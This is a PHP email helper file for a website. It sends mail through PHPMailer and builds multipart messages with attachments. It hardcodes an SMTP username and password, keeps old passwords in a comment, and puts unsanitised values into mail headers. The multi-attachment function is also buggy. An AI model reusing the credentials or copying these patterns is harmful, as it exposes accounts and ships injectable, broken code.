$contents.="***Please keep your account details safe and secure***\n\n";
$contents.="Regards,\n\n";
$contents.=SITE_NAME;
}
function send_order_email($order_id, $sendto)
{
}
function LimitText($str, $char_limit)
{
$str=trim($str, ' ');
if(strlen($str)<=$char_limit):
return $str;
endif;
return substr($str, 0, strpos($str, ' ', $char_limit)).' ';
}
//Function to send email with bcc
function SendEmailBcc($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc ,$Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true)
{
send_email_bcc($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc, $Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true);
}
function send_email_bcc($Subject, $ToEmail, $FromEmail, $FromName, $Message, $Bcc, $Format="html",$FileAttachment=false,$AttachmentFileName="",$IS_SMTP=true)
{
$mail = new PHPMailer();
if($IS_SMTP)
{
$mail->IsSMTP();
$mail->SMTPSecure = 'SSL'; // send via SMTP
$mail->Host = "smtp.thecoachingconclave.com"; // SMTP servers
$mail->SMTPAuth = true; // turn on SMTP authentication
$mail->Port = 587; //587
$mail->Username = "admin@thecoachingconclave.com"; // SMTP username
$mail->Password = "zCyiljf5"; //"W.!t$6B&lmid"; // "#IISeVnB6"; // "W.!t$6B&lmid"; // // SMTP password
}
$mail->From = $FromEmail;
$mail->FromName = $FromName;
$mail->AddAddress(trim($ToEmail),trim($ToEmail));
$MyBccArray = explode(",",$Bcc);
foreach($MyBccArray as $Key=>$Value)
{
if(trim($Value) !="")
$mail->AddBCC("$Value");
}
if($Format=="html")
$mail->IsHTML(true); // send as HTML
else
$mail->IsHTML(false); // send as Plain
$mail->Subject = $Subject;
$mail->Body = $Message;
//$mail->AltBody = $Message;
if($FileAttachment)
$mail->AddAttachment($AttachmentFileName,basename($AttachmentFileName));
if(!$mail->Send())
{
echo "Message was not sent <p>";
echo "Mailer Error: " . $mail->ErrorInfo;
exit;
}
return true;
}
function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto="", $subject, $message) {
$file = $path.$filename;
$file_size = filesize($file);
$handle = fopen($file, "r");
$content = fread($handle, $file_size);
fclose($handle);
$content = chunk_split(base64_encode($content));
$uid = md5(uniqid(time()));
$name = basename($file);
$header = "From: ".$from_name." <".$from_mail.">\r\n";
$header .= "Reply-To: ".$replyto."\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
$header .= "This is a multi-part message in MIME format.\r\n";
$header .= "--".$uid."\r\n";
$header .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$header .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$header .= $message."\r\n\r\n";
$header .= "--".$uid."\r\n";
$header .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n"; // use different content types here
$header .= "Content-Transfer-Encoding: base64\r\n";
$header .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$header .= $content."\r\n\r\n";
$header .= "--".$uid."--";
if (mail($mailto, $subject, "", $header)) {
$message = "Email Successfully send, will contact you soon."; // or use booleans here
} else {
$message = "Unable to send an email.";
}
return $message;
}
function mail_multiple_attachment($files, $path, $mailto, $from_mail, $from_name, $replyto="", $subject, $message)
{
$uid = md5(uniqid(time()));
$mime_boundary = "==Multipart_Boundary_x{$uid}x";
$name = basename($file);
$header = "From: ".$from_name." <".$from_mail.">\r\n";
$header .= "Reply-To: ".$replyto."\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"".$mime_boundary."\"\r\n\r\n";
$header .= "This is a multi-part message in MIME format.\r\n";
$header .= "--".$uid."\r\n";
$header .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$header .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$header .= $message."\r\n\r\n";
$header .= "--".$uid."\r\n";
//$header .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n"; // use different content types here
//$header .= "Content-Transfer-Encoding: base64\r\n";
//$header .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$header .= $content."\r\n\r\n";
$header .= "--".$uid."--";
// multipart boundary
$message = "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type: text/html; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";
$message .= "--{$mime_boundary}\n";
// preparing attachments
for($x=0;$x<count($files);$x++){
$files[$x] = $path.$files[$x];
$file = fopen($files[$x],"rb");
$data = fread($file,filesize($files[$x]));
fclose($file);
$data = chunk_split(base64_encode($data));
$message .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"$files[$x]\"\n" .
"Content-Disposition: attachment;\n" . " filename=\"$files[$x]\"\n" .
"Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
$message .= "--{$mime_boundary}\n";
}
$ok = @mail($mailto, $subject, $message, $header);
if ($ok) {
echo $message = "Email Successfully send, will contact you soon."; // or use booleans here
} else {
$message = "Unable to send an email.";
}
return $message;
}
?>